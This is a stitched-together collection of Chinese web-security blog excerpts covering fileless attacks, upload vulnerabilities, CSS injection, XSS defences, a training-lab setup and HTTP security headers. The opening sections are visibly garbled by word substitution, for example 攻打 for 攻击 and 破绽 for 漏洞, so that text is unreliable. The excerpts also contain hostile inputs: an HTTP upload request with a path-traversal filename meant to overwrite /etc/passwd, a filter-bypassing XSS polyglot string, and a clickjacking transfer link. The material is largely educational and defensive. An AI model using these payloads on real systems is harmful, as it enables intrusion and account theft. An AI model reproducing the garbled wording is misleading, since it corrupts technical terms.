这些年无文件（Fileless）和不落地（Living off the Land）攻打曾经十分风行，简直成为攻击者的标配。现实的无文件攻打是只存在于内存中的后门，网络上有很多无文件攻打的验证性代码，比方最早的powershell downloadstring，近程文件是被当成字符串间接下载到powershell过程内存中执行，而后倒退到利用mshta、rundll32等执行脚本的各种奇技淫巧，再到当初风行的各种.NET assembly托管代码注入技术，当然还有一些齐全脱离操作系统的高端无文件攻打。而微软有一个无文件攻打模型可能十分好的解析这些无文件攻打，我给大家做个简略的参考解读。 攻打模型按磁盘文件的流动将攻打分成了3个类型 Type1，没有任何的文件流动。简略说就是攻打流动没有任何的磁盘文件落地和磁盘文件的操作行为，个别这种攻打的施行都脱离了操作系统，是由更下层的硬件固件和软件层发动的。Type2，没有磁盘落地文件，但通过文件间接流动，恶意代码个别通过白文件间接加载到内存中执行。这类攻打恶意代码的载体大多数都是脚本，通过程序命令执行，也有通过磁盘疏导记录等特定机制的执行。Type3，须要操作文件进行流动。比拟容易能了解的意思是恶意代码变成了数据，利用文件相干的程序破绽或性能个性将歹意数据转换为恶意代码执行。接着是颗粒度更细的分类描叙，是基于被攻打宿主**进行的分类 破绽攻打，基于软件和操作系统安全漏洞的无文件攻打 基于文件（Type3）各种各样的office、flash、java破绽文件和浏览器破绽，个别都是通过歹意文件触发破绽使文件解析引擎、浏览器等执行恶意代码，通过shellcode间接在内存中执行恶意代码。 基于网络（Type1）永恒之蓝是个好例子，间接通过网络协议的近程代码执行破绽来执行恶意代码。 硬件攻打，脱离操作系统的无文件攻打 基于设施（Type1）通过网卡、磁盘固件执行恶意代码，经典的如方程式的KillSuit，基于硬盘固件、磁盘疏导区执行恶意代码。 基于CPU（Type1）CPU本人自身也会有子系统，比方被白金革新的Intel cpu的被动治理技术（AMT）后门。 基于外置USB（Type1）USB能够外接的设施类型很多，比方最常见的模仿键盘和网关的badusb设施。 基于BIOS（Type1）主板BIOS能植入恶意代码大伙也是耳熟能详了，象往年eset发现的LoJax Rootkit，通过革新 BIOS固件中的防盗性能植入的后门。 基于虚拟机管理层（Type1）这是属于上帝视角的攻打了，虚拟机管理层执行恶意代码，曾经脱离虚拟机操作系统之外了。 执行和注入，无文件攻打执行恶意代码的常见模式 基于文件（Type3）从执行代码的角度看，这是无文件攻打最根底的执行向量，能够是可执行文件、dll、lnk快捷方式、打算工作等，它的攻打过程通常是将恶意代码近程注入到其余过程或加载到本身过程内存执行。 基于宏（Type3）office文档相干的宏脚本，这是基于office文档类本身的脚本语言，在office过程中执行恶意代码。 基于脚本（Type2）基于js、vbs、powershell脚本执行恶意代码， 这个就不再赘述了，大量的零碎程序都有各种奇技淫巧能执行歹意脚本。 基于磁盘（Type2）通过磁盘的疏导记录执行恶意代码，歹意的mbr、vbr都在这一类外面。 以上就是这个攻打模型的大体状况，这个攻打模型将古代安全软件要应答的刁钻攻打展示得一览无遗。咱们能够看到微软在攻打模型和攻打知识库方面的确是业界标杆，我想不是一线技术专家，很难做出这样的攻打模型，一个平安产品所要经验攻防的点，是没有接触过攻防的人难以想象的。 参考： https://docs.microsoft.com/en...

前端平安系列（一）：如何避免XSS攻打前端平安系列之二：如何避免CSRF攻打？

2020 年不太平，各种牛鬼蛇神轮流退场。可能有点忘乎所以，不知哪句评论错了，被知乎封禁了一周。还好，沉着一下，再不参加zz相干的话题了。 说回正题，作为码农，网络安全始终以来是个麻烦。最近，在我司保护的一个很旧很旧的网站上，发现有人通过富文本编辑器用的上传接口，偷偷上传了一些不良内容的网页文件。 通常，咱们应用富文本编辑器，以便用户能够公布图文混排的内容，甚至许可增加点附件。但不便的同时，也带来了一些安全隐患，如程序员比拟相熟的跨站攻打、点击劫持等。上传，尤其是容许上传 html 文件，这个危害是十分大的。首先，既然是 HTML，意味着可嵌入任意 JS，跨站攻打、点击劫持天然不在话下；其次，如果您的网站在搜索引擎排名不错，对方可通过 SEO 的模式，将您的网站变成一个倒流通道；如果您的网站波及zf相干机构，对方放点黄赌毒内容，也会重大影响到某些单位的形象。 好在大部分富文本编辑器默认只提供插入图片性能，给出的服务端上传示例代码，也限定为仅反对上传图片。但也有一些性能较全的富文本编辑器，默认提供插入附件的性能，上传代码可能反对 pdf/txt/html 等浏览器可预览（执行）的文件类型。咱们网站用的某款编辑器是 5、6 年以前退出的，始终也没降级，而新版编辑器早已移除默认的 html 类型。 先来说下如何利用富文本的上传破绽往网站上传文件。富文本编辑器插入图片、视频、音频、附件，理论插入的是图片、视频、音频、附件的网址，包裹为 <img><video><audio> 等 html 标签。要么间接给一个网址，要么上传后返一个网址。对于后者，服务端须要给出一个接口，提供上传文件性能，并返回文件存入服务器后的网址。以此来看，入侵者齐全不用管前端富文本编辑器的逻辑，间接利用上传接口，上传文件、拿到网址。 这要如何防备呢？咱们曾经晓得了，入侵者基本不必管你前端用的什么编辑器、JS如何配置，他只须要探查到你的上传接口即可，因而，任何在前端限度不可插入资源都是有效的。进攻方面，我认为有几点，各有利弊： 1、防盗链，为上传目录的申请加个过滤层，当程序发现 referer 不是您的域名时阻断，防止外链造成恶劣影响。这显然防止不了不良内容呈现在站内。 2、临时文件，插入时先将文件上传到长期目录，待提交后内容校验通过，再转移到目标目录，同时替换内容中的网址。长期目录内文件超时主动删除。 3、图文拆散，彻底摈弃富文本，或富文本仅能调节文字排版，图片、附件等用额定的字段存储，也就是说，文件与表单数据是相对捆绑的，表单校验不通过，入侵方就不可能拿到文件网址。 4、文件转码，图片间接转为 base64 文本，利用 <img src="data:image/png;base64,xxx"/> 的模式与内容混合在一起；如果是图文拆散模式，可将文件存入对应的 Binary 类型字段。这也是保障文件与表单数据捆绑，便于发现，更易封禁。毛病是占用数据库空间，也不便于间接应用支流 HTTP 服务的缓存性能。 以上后 3 条仍然须要人工审查。现如今也呈现一些 AI 内容审核的货色，但训练是件麻烦事，小企业在这方面消耗大量人力物力就得失相当了。而阿里、百度等也有提供内容审核方面的接口，文本、图片均可，有些接口查看速度达毫秒级，齐全能够封装到服务端的表单校验逻辑里。当然，天下没有收费的午餐。如果您的内容齐全由内部人员保护，只用躲避偷偷上传，限度某类用户可用，就够了。 本话题由富文本编辑器引起，那么，是否不必富文本编辑器就高枕无忧了？从技术上来说，只有您的网站凋谢或半凋谢上传，仍然可能存在被上传不良、黑链等内容的图片、文件，依照现行法律法规，这些文件只有在您服务器上，就脱不了干系，只是会不会被发现的问题。 以下面第 3 条为例，图文拆散，当经营人员发现有个图片内容不良，他删除了此条数据，或标识为不公开，内部无奈再浏览，通过条目ID关上也显示不存在或不可见，但对个别编程习惯来说，文件可能仍然保留在原处。毁坏的一方仍然能够利用审查前拿到的文件网址，持续通过内部网页指向您的服务器。哪天那个黑站被端了，发现那些资源还都存在您那，冤不冤呀！

CanMeng-Web安全渗透三周年啦! 因此推出一套全新渗透安全课程. 欢迎各位小伙伴们加入学习！ 本培训为私人中心 百度首页第一页排名第五 搜索首页第一页排名第九 有任何问题都可以联系我. CanMeng个人博客.知乎.简书.CSDN等平台 都会定时发布各类技术文章 欢迎各位订阅+关注，共同努力进步. 联系咨询Q1426470161 !

文件上传漏洞及危害文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器上，当开发者没有对该文件进行合理的校验及处理的时候，很有可能让程序执行这个上传文件导致安全漏洞。大部分网站都会有文件上传的功能，例如头像、图片、视频等，这块的逻辑如果处理不当，很容易触发服务器漏洞。这种漏洞在以文件名为 URL 特征的程序中比较多见。嗯，是的说的就是世界上最好的语言 PHP。例如用户上传了一个 PHP 文件，拿到对应文件的地址之后就可以执行它了，其中的危害自然不言而喻。那在 Node.js 中就没有文件上传漏洞了么？答案肯定是否的。除了可执行文件外，还有以下几个潜在的问题。<!--more--> 文件名用户上传的文件里有两个东西经常会被程序使用，一个是文件本身，还有一个就是文件名了。如果文件名被用来读取或者存储内容，那么你就要小心了。攻击者很有可能会构造一个类似 ../../../attack.jpg 的文件名，如果程序没有注意直接使用的话很有可能就把服务器的关键文件覆盖导致程序崩溃，甚至更有可能直接将 /etc/passwd 覆盖写上攻击者指定的密码从而攻破服务器。 有些同学可能会说了，/ 等字符是文件名非法字符，用户是定义不了这种名字的。你说的没错，但是我们要知道我们并不是直接和用户的文件进行交互的，而是通过 HTTP 请求拿到用户的文件。在 HTTP 表单上传请求中，文件名是作为字符串存储的。只要是合法的 HTTP 请求格式，攻击者可以构造请求中的任何内容用于提交给服务器。 POST /upload HTTP/1.1Host: test.comConnection: keep-aliveContent-Length: 4237161Accept: */*Origin: http://test.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9pQqgBGwpDfftP8lReferer: http://test.comAccept-Encoding: gzip, deflateAccept-Language: en,zh-CN;q=0.9,zh;q=0.8,zh-TW;q=0.7,da;q=0.6------WebKitFormBoundary9pQqgBGwpDfftP8lContent-Disposition: form-data; name="file"; filename="../../attack.jpg"Content-Type: image/jpeg------WebKitFormBoundary9pQqgBGwpDfftP8l--HTML 和 SVG虽然说 Node.js 在文件上传服务端可执行程序的漏洞没有 PHP 那么高，但是除了服务端可执行之外我们还有客户端可执行问题，所以还是要做好防备。假设用户可以上传任意格式的文件，而如果攻击者上传了 HTML 文件后可以配合 CSRF 攻击进一步制造 XSS 攻击。 如果你是一个图片上传的接口，如果你仅限制 HTML 格式的话也存在问题，因为图片中有一种特别的存在是 SVG 格式。SVG 是一种矢量图形格式，它使用 XML 来描述图片，在其内部我们是可以插入 <html>, <style>, <script> 等 DOM 标签的。如果不对 SVG 中的文件内容进行过滤的话，也会发生意想不到的效果。 ...

什么是CSS注入大家对XSS攻击都非常熟悉了，可能很少关注到CSS注入攻击，以下行为有可能受到CSS注入攻击： 从用户提供的URL中引入CSS文件CSS代码中采用了用户的输入数据可以看下以下两个例子https://www.owasp.org/index.p...http://www.thespanner.co.uk/2... 原理CSS属性选择器让开发者可以根据属性标签的值匹配子字符串来选择元素。 这些属性值选择器可以做以下操作：1.如果字符串以子字符串开头，则匹配；2.如果字符串以子字符串结尾，则匹配；3.如果字符串在任何地方包含子字符串，则匹配；4.属性选择器能让开发人员查询单个属性的页面HTML标记，并且匹配它们的值。 而在实际环境中，如果一些敏感信息会被存放在HTML标签内，如CSRF token存储在隐藏表单的属性值中，这使得我们可以将CSS选择器与表单中的属性进行匹配，并根据表单是否与起始字符串匹配，加载一个外部资源，例如背景图片，来尝试猜测属性的起始字母。通过这种方式，攻击者可以进行逐字猜解并最终获取到完整的敏感数值。 防御策略想要解决这个问题受害者可以在其服务器实施内容安全策略（CSP），防止攻击者从外部加载CSS代码。 总结作为前端开发者，我们与用户最近，也是网络安全防护的第一道线，要时刻关注来自各方面的网络攻击，保障用户信息的安全。 参考文献https://portswigger.net/kb/is...https://www.freebuf.com/artic...https://24ways.org/2018/secur...

最近在segmentfault发现了刘小夕.很喜欢刘小夕写出来的技术博文，被安排的明明白白.此文章为学习刘小夕的WEB安全笔记.欢迎大家也去Pick她.文章最后有原文链接. 前端有哪几种攻击方式？XSS攻击.CSRF攻击.点击劫持以及URL跳转漏洞 什么是XSS攻击？XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码，当用户(被攻击者)登录网站时就会执行这些恶意代码，通过这些脚本可以读取cookie,session tokens，或者网站其他敏感的网站信息，对用户进行钓鱼欺诈。 XSS的本质：恶意代码未经过滤，与网站的正常代码混在一起，浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。由于直接在用户的终端代码执行，恶意代码能够直接获取用户的信息，利用这些信息冒充用户向网站发起攻击请求. XSS攻击有哪些类型？反射型XSS反射型XSS漏洞常见于通过URL传递参数的功能，如网站搜索，跳转等。由于需要用户主动打开恶意的URL才能生效，攻击者往往会结合多种手段诱导用户点击.POST的内容也可以触发反射型XSS，只不过它的触发条件比较苛刻（构建表单提交页面，并引导用户点击），所以非常少见. 反射型XSS的攻击步骤1.攻击者构造出特殊的URL，其中包含恶意代码.2.用户打开有恶意代码的URL时，网站服务器端将恶意代码从URL取出，拼接在HTML返回给浏览器.3.用户浏览器接收到响应后解析执行，混在其中的恶意代码也会被执行。4.恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户行为，调用目标网站接口执行攻击者指定的操作. 注意：Chrome和Safari能够检测到url上的xss攻击，将网页拦截掉，但是其他浏览器不行，如IE和Firefox。 如何防御反射型XSS攻击对url查询参数进行转义后再输出到页面。 app.get('/welcome',function(req,res){ //对查询参数进行编码，避免反射型 XSS攻击 res.send(`${encodeURIComponent(req.query.type)}`);})DOM型XSSDOM型XSS攻击，实际上就是前端javascript代码不够严谨，把不可信的内容插入到了页面，在使用.innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心，不要把不可信的数据作为HTML插入到页面上，尽量使用.innerText、.textContent、.setAttribut()等. DOM型XSS的攻击步骤1.攻击者构造出特殊数据，其中包含恶意代码。2.用户浏览器执行了恶意代码3.恶意窃取用户数据并发送到攻击者的网站，或冒充用户行为，调用目标网站接口执行攻击者指定的操作. 如何防御DOM型XSS攻击防范DOM型XSS攻击的核心就是对输入内容进行转义（DOM中的内联事件监听顺和链接跳转都能把字符串作为代码运行，需对内容进行检查）.1.对于url链接（例如图片的src属性）那么直接使用encodeURIComponent来转义。2.对于非url，我们可以进行编码： function encodeHtml(str){ return str.replace(/"/g,'&quot;') .replace(/'/g,'&apos;') .replace(/</g,'&lt;') .replace(/>/g,'&gt;')}DOM型XSS攻击中，取出和执行恶意代码由浏览器端完成，属于前端javascript自身的安全漏洞. 存储型XSS恶意脚本永久存储在目标服务器上。当浏览器请求数据时，脚本从服务器传回并执行，影响范围比反射型和DOM型XSS更大。存储型XSS攻击的原因仍然是没有做好数据过滤：前端提交数据至服务器端时，没有做好过滤;服务端在按受到数据时，在存储之前，没有做过滤;前端从服务器端请求到数据，没有过滤输出。 存储型XSS的攻击步骤1.攻击者将恶意代码提交到目标网站的数据库中。2.用户打开目标网站时，网站服务端将恶意代码从数据库中取出，拼接在HTML中返回给浏览器。3.用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。4.恶意代码窃取用户数据并发送到攻击者的网站，或冒充用户行为，凋用目标网站接口执行攻击者指定的操作.这种攻击常见于带有用户保存数据的网站功能，如论坛发帖，商品评论，用户私信等。 如何防范存储型XSS攻击1.前端数据传递给服务器之彰，先转义/过滤（防范不了抓包修改数据的情况）2.服务器接收到数据，在存储到数据库之前，进行转义和过滤3.前端接收到服务器传递过来的数据，在展示到页面前，先进行转义/过滤. function getList(){ $.get('/getComments2').then(res=> { if(res.code === 0){ let list =""; $each(res.comments,(index,comment)=>{ content = encodeHtml(comment.content); console.log(comment.content,'*****',content); lists += '<li class="list-group-item"><span>${comment.username};</span>${content}'; }); $('.list-group').html(lists); } } )}除了谨慎的转义，其他一些手段来防范XSS攻击：1.Content Security Policy在服务端使用HTTP的Content-Security-Policy头部来指定策略，或者在前端设置meta标答。例如下面的配置只允许加载同域下的资源： Content-Security-Policy:default-src 'self'`请输入代码`<meta http-equiv="Content-Security-Policy" content="form-action 'self';">前端和服务器设置CSP的效果相同. 严格的CSP在XSS的防范中可以起到以下的作用：1.禁止加载外域代码，防止复杂的逻辑攻击.2.禁止外域提交，网站被攻击后，用户数据不会被泄露到外域3.禁止内联脚本执行（规则较严格，目前发现github使用）4.禁止未授权的脚本执行5.合理使用上报可以及时发现XSS，利用尽快修复问题. 2.输入内容长度控制对于不受信任的输入，都应该限定一个合理的长度。虽无法完全防止XSS发生，但是可以增加XSS攻击的难度。 3.输入内容限制对于部分输入，可以限定不能包含特殊字符或者仅能输入数字等。 4.其他安全措施HTTP-only Cookie:禁止JavaScript读取某些敏感Cookie，攻击者完成XSS注入后也无法窃取此Cookie验证码：防止脚本冒充用户提交危险操作 XSS检测1.使用通用XSS攻击字串手动检测XSS漏洞,如： jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e能够检测到存在于HTML属性、HTML文字内容、HTML注释、跳转链接、内联Javascript字符串、内联CSS样式表等多种上下文中的XSS漏洞，也能检测eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write()等DOM型XSS漏洞，并且能绕过一些XSS过滤器.2.安全扫描工具ArachniMozilla HTTP Observatoryw3af ...

随着互联网的发展，各种Web应用变得越来越复杂，满足了用户的各种需求的同时，各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题，今天一起看一看Web前端有哪些安全问题以及我们如何去检测和防范这些问题。非前端的攻击本文不会讨论(如SQL注入，DDOS攻击等)，毕竟后端也非本人擅长的领域。 QQ邮箱、新浪微博、YouTube、WordPress 和 百度 等知名网站都曾遭遇攻击，如果你从未有过安全方面的问题，不是因为你所开发的网站很安全，更大的可能是你的网站的流量非常低或者没有攻击的价值。 本文主要讨论以下几种攻击方式: XSS攻击、CSRF攻击、点击劫持以及URL跳转漏洞。 <font style="color: #ff302c">希望大家在阅读完本文之后，能够很好的回答以下几个面试题。</font>1.前端有哪些攻击方式？ 2.什么是XSS攻击？XSS攻击有几种类型？如果防范XSS攻击？ 3.什么是CSRF攻击？如何防范CSRF攻击 4.如何检测网站是否安全？ 在开始之前，建议大家先clone代码，我为大家准备好了示例代码，并且写了详细的注释，大家可以对照代码来理解每一种攻击以及如何去防范攻击，毕竟看再多的文字，都不如实操。(Readme中详细得写了操作步骤)：https://github.com/YvetteLau/... 1. XSS攻击XSS(Cross-Site Scripting，跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码，当被攻击者登陆网站时就会执行这些恶意代码，这些脚本可以读取 cookie，session tokens，或者其它敏感的网站信息，对用户进行钓鱼欺诈，甚至发起蠕虫攻击等。 XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，利用这些信息冒充用户向网站发起攻击者定义的请求。 XSS分类根据攻击的来源，XSS攻击可以分为存储型(持久性)、反射型(非持久型)和DOM型三种。下面我们来详细了解一下这三种XSS攻击： 1.1 反射型XSS当用户点击一个恶意链接，或者提交一个表单，或者进入一个恶意网站时，注入脚本进入被攻击者的网站。Web服务器将注入脚本，比如一个错误信息，搜索结果等，未进行过滤直接返回到用户的浏览器上。 反射型 XSS 的攻击步骤：攻击者构造出特殊的 URL，其中包含恶意代码。用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效，攻击者往往会结合多种手段诱导用户点击。 POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见。 查看反射型攻击示例请戳： https://github.com/YvetteLau/... 根据 README.md 的提示进行操作(真实情况下是需要诱导用户点击的，上述代码仅是用作演示)。 注意Chrome 和 Safari 能够检测到 url 上的xss攻击，将网页拦截掉，但是其它浏览器不行，如Firefox 如果不希望被前端拿到cookie，后端可以设置 httpOnly (不过这不是 XSS攻击 的解决方案，只能降低受损范围) 如何防范反射型XSS攻击对字符串进行编码。 对url的查询参数进行转义后再输出到页面。 app.get('/welcome', function(req, res) { //对查询参数进行编码，避免反射型 XSS攻击 res.send(`${encodeURIComponent(req.query.type)}`); });1.2 DOM 型 XSSDOM 型 XSS 攻击，实际上就是前端 JavaScript 代码不够严谨，把不可信的内容插入到了页面。在使用 .innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心，不要把不可信的数据作为 HTML 插到页面上，尽量使用 .innerText、.textContent、.setAttribute() 等。 ...

一、背景不定时会做一些内训，会经常用到实验坏境；一开始搭建了一个docker容器，但考虑到不是所有学员都会使用docker，因此做了一个虚拟机版本，其实就是虚拟机里面安装了docker，为了方便大家迅速搭建坏境，总结了此文档给需要的学员； 二、操作步骤安装VMware下载镜像启动容器验证服务三、安装VMware安装VMware的过程只需要会点击下一步下一步就行，这个过程不再过多叙述,安装启动时候会提示你激活，可以选择试用30天，也可以在网上找一个激活码。 VMware下载地址：https://download3.vmware.com/... 四、下载镜像链接: https://pan.baidu.com/s/1HUtlPP94T6i2zbn0T7veQA 提取码: 6h6v 下载镜像后需要解压到你的电脑中，然后使用VMware打开虚拟机功能，找到位置，然后启动此虚拟机，如果提示vmware workstations与device/credential不兼容，需要在控制面板-程序和功能里吧Hyper给关闭 参考教程：https://jingyan.baidu.com/art... 五、启动容器5.1 启动容器打开终端，切换到root账户，可以使用命令su ，会要求输入密码，密码是 wmmszg；接下来就可以启动容器了 启动MySQL服务命令如下: docker start mysqlserver启动permeate容器命令如下: docekr start permeate_test5.2 启动web服务接着启动容器里面的nginx和PHP,命令如下 docker exec permeate_test zsh -c "nginx && /usr/sbin/php-fpm7.2 -R"六、验证服务此时permeate系统已经安装完毕，可以通过浏览器访问URL地址:http://permeate.localhost进行验证，如果打开看到如下图所示则代表成功。 作者：汤青松微信：songboy8888更新日期：2019-05-06

这是关于web安全性系列文章的第 三 篇，其它的可点击以下查看：Web 应用安全性: 浏览器是如何工作的Web 应用安全性: HTTP简介目前，浏览器已经实现了大量与安全相关的头文件，使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每个头后面的一些历史。HTTP Strict Transport Security (HSTS)HSTS（HTTP Strict Transport Security）国际互联网工程组织IETF正在推行一种新的Web安全协议，HSTS 的作用是强制客户端（如浏览器）使用 HTTPS 与服务器创建连接。自 2012 年底以来，HTTPS 无处不在的支持者发现，由于 HTTP 严格传输安全性，强制客户端总是使用 HTTP 协议的安全版本更容易：一个非常简单的设置 Strict-Transport-Security: max-age=3600 将告诉浏览器 对于下一个小时（3600秒），它不应该与具有不安全协议的应用程序进行交互。当用户尝试通过 HTTP 访问由 HSTS 保护的应用程序时，浏览器将拒绝继续访问，自动将 http:// 的 URL 转换为 https://。你可以使用 github.com/odino/wasec/tree/master/hsts 中的代码在本地测试这个。你需要遵循 README 中的说明(它们通过 mkcert 工具在你的电脑上的localhost 安装可信的 SSL 证书)，然后尝试打开 https://localhost:7889。在这个示例中有两个服务器，一个 HTTPS 服务器监听 7889，另一个 HTTP 服务器监听端口 7888。当你访问 HTTPS 服务器时，它总是试图重定向到 HTTP 版本，这将正常工作，因为 HTTPS 服务器上没有 HSTS 策略。如果在 URL 中添加 hsts=on 参数，浏览器将强制将重定向中的链接转换为 https:// 版本。由于 7888 上的服务器只支持 http，所以最终将看到类似于这样的页面。你可能想知道用户第一次访问你的网站时会发生什么，因为事先没有定义 HSTS 策略：攻击者可能会欺骗用户访问你网站的 http:// 版本并在那里进行攻击，所以仍然存在问题，因为 HSTS 是对首次使用机制的信任，它试图做的是确保，一旦你访问过网站，浏览器就知道后续交互必须使用 HTTPS。解决这个缺点的一个方法是维护一个海量的数据库，其中包含了执行 HSTS 的网站，这是Chrome 通过 hstspreload.org 实现的。你必须首先设置安全的方案，然后访问网站并检查它是否符合添加到数据库的条件。例如，我们可以在这看到 Facebook 榜上有名。将你的的网站提交到这个列表中，就可以提前告诉浏览器你的网站使用 HSTS，这样即使客户端和服务器之间的第一次交互也将通过一个安全通道进行。但是这是有代价的，因为你确实需要投入到 HSTS 中。如果你希望你的网站从列表中删除，这对浏览器厂商来说不是件容易的事:请注意，预加载列表中的内容无法轻松撤消。域名可以被移除，但是 Chrome 的更新需要几个月的时间才能让用户看到变化，我们不能保证其他浏览器也一样。不要请求包含，除非您确定能够长期支持整个站点及其所有子域的HTTPS。这是因为供应商不能保证所有用户都使用最新版本的浏览器，而你的站点已从列表中删除。仔细考虑，并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力做出决定。HTTP Public Key Pinning (HPKP)HTTP 公钥固定是一种安全机制，它的工作原理是通过响应头或者 <meta> 标签告诉浏览器当前网站的证书指纹，以及过期时间等其它信息。未来一段时间内，浏览器再次访问这个网站必须验证证书链中的证书指纹，如果跟之前指定的值不匹配，即便证书本身是合法的，也必须断开连接。目前 Firefox 35+ 和 Chrome 38+ 已经支持， HPKP 基本格式如下：Public-Key-Pins: pin-sha256=“9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=”; pin-sha256=“cwi87y89f4fh4fihi9fhi4hvhuh3du3=”; max-age=3600; includeSubDomains; report-uri=“https://pkpviolations.example.org/collect"各字段含义如下：pin-sha256 即证书指纹，允许出现多次（实际上最少应该指定两个）；max-age 和 includeSubdomains 分别是过期时间和是否包含子域，它们在 HSTS（HTTP Strict Transport Security）中也有，格式和含义一致；report-uri用来指定验证失败时的上报地址，格式和含义跟 CSP（Content Security Policy）中的同名字段一致；includeSubdomains 和 report-uri 两个参数均为可选；报头使用证书的散列列出服务器将使用哪些证书(在本例中是其中的两个证书)，并包含附加信息，比如这个指令的生存时间(max-age=3600)和其他一些细节。遗憾的是，我们没有必要深入了解我们可以用公钥钉固定做什么，因为这个功能已经被 Chrome 弃用了——这是一个信号，这一信号表明它的采用很快就会直线下降。Chrome 的决定并不是不理性的，而仅仅是与公钥固定相关的风险的结果。如果wq丢失了证书，或者只是在测试时犯了一个错误，你的网站将无法访问之前访问过该网站的用户(在max-age指令期间，通常是几周或几个月)。由于这些潜在的灾难性后果，HPKP 的使用率一直非常低，并且出现了由于错误配置导致大型网站无法访问的事件。综上所述，Chrome 认为没有 HPKP提 供的保护，用户会过得更好——安全研究人员并不完全反对这一决定。Expect-CT虽然 HPKP 已经被弃用，但是一个新的头介入进来，防止欺骗 SSL 证书被提供给客户端:Expect-CT。Expect-CT 头允许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求，来防止错误签发的网站证书的使用不被察觉。当站点启用 Expect-CT 头，就是在请求浏览器检查该网站的任何证书是否出现在公共证书透明度日志之中。CT 基本格式如下：Expect-CT: max-age=3600, enforce, report-uri=“https://ct.example.com/report"max-age：该指令指定接收到 Expect-CT 头后的秒数，在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。如果缓存接收到的值大于它可以表示的值，或者如果其随后计算溢出，则缓存将认为该值为2147483648（2的31次幂）或其可以方便表示的最大正整数。report-uri="<uri>” 可选该指令指定用户代理应向其报告 Expect-CT 失效的 URI。当 enforce 指令和 report-uri 指令共同存在时，这种配置被称为“强制执行和报告”配置，示意用户代理既应该强制遵守证书透明度政策，也应当报告违规行为。enforce 可选该指令示意用户代理应强制遵守证书透明度政策（而不是只报告合规性），并且用户代理应拒绝违反证书透明度政策的之后连接。当 enforce 指令和 report-uri 指令共同存在时，这种配置被称为“强制执行和报告”配置，示意用户代理既应该强制遵守证书透明度政策，也应当报告违规行为。CT 计划的目标是比以前使用的任何其他方法更早、更快、更精确地检测错误颁发的或恶意的证书(以及流氓证书颁发机构)。通过选择使用 Expect-CT 头，你可以利用这一优势来改进应用程序的安全状态。X-Frame-Options想象一下，在你的屏幕前弹出这样一个网页:只要你点击这个链接，你就会发现你银行账户里的钱都不见了，发生了什么事?你是点击劫持攻击的受害者。攻击者将你引导至他们的网站，该网站显示了一个非常有吸引力的点击链接。 不幸的是，他还在页面中嵌入了带了链接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe，且通过设置透明度为 0％来隐藏它。 然后发生的事情是想到点击原始页面，试图赢得一个全新的悍马，这时浏览器上iframe上捕获了一个点击，这是一个确认转移资金的危险点击。大多数银行系统要求你指定一次性 PIN 码来确认交易，但你的银行没有赶上时间且你的所有资金都已被转走了。这个例子非常极端，但应该让你了解点击劫持攻击 可能带来的后果。 用户打算单击特定链接，而浏览器将触发嵌入 iframe 中“不可见”页面上的点击。幸运的是，浏览器为这个问题提供了一个简单的解决方案: X-Frame-Options (XFO)，它允许您人定是否可以将应用程序作为 iframe 嵌入外部网站。由于 Internet Explorer 8 的普及，XFO 于2009 年首次引入，现在仍然受到所有主流浏览器的支持。它的工作原理是，当浏览器看到 iframe 时，加载它并在渲染它之前验证它的 XFO 是否允许它包含在当前页面中。X-Frame-Options 有三个值:DENY：表示该页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。SAMEORIGIN：表示该页面可以在相同域名页面的 frame 中展示。ALLOW-FROM uri ：表示该页面可以在指定来源的 frame 中展示。换一句话说，如果设置为 DENY，不光在别人的网站 frame 嵌入时会无法加载，在同域名页面中同样会无法加载。另一方面，如果设置为 SAMEORIGIN，那么页面就可以在同域名页面的 frame 中嵌套。包含最严格的 XFO 策略的 HTTP 响应示例如下:HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY…为了展示启用 XFO 时浏览器的行为，我们只需将示例的 URL 更改为 http://localhost:7888/?xfo=on。 xfo=on 参数告诉服务器在响应中包含 X-Frame-Options: deny，我们可以看到浏览器如何限制对 iframe 的访问:XFO被认为是防止基于框架的点击劫持攻击的最佳方法，直到数年后出现了另一种报头，即内容安全策略(Content Security Policy，简称CSP)。Content Security Policy (CSP)内容安全策略(CSP) 是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件，这些攻击都是主要的手段。为使CSP可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP头部 ( 有时你会看到一些关于 X-Content-Security-Policy 头部的提法, 那是旧版本，你无须再如此指定它)。要了解 CSP 如何帮助我们，我们首先应该考虑攻击媒介。 假设我们刚刚构建了自己的 Google 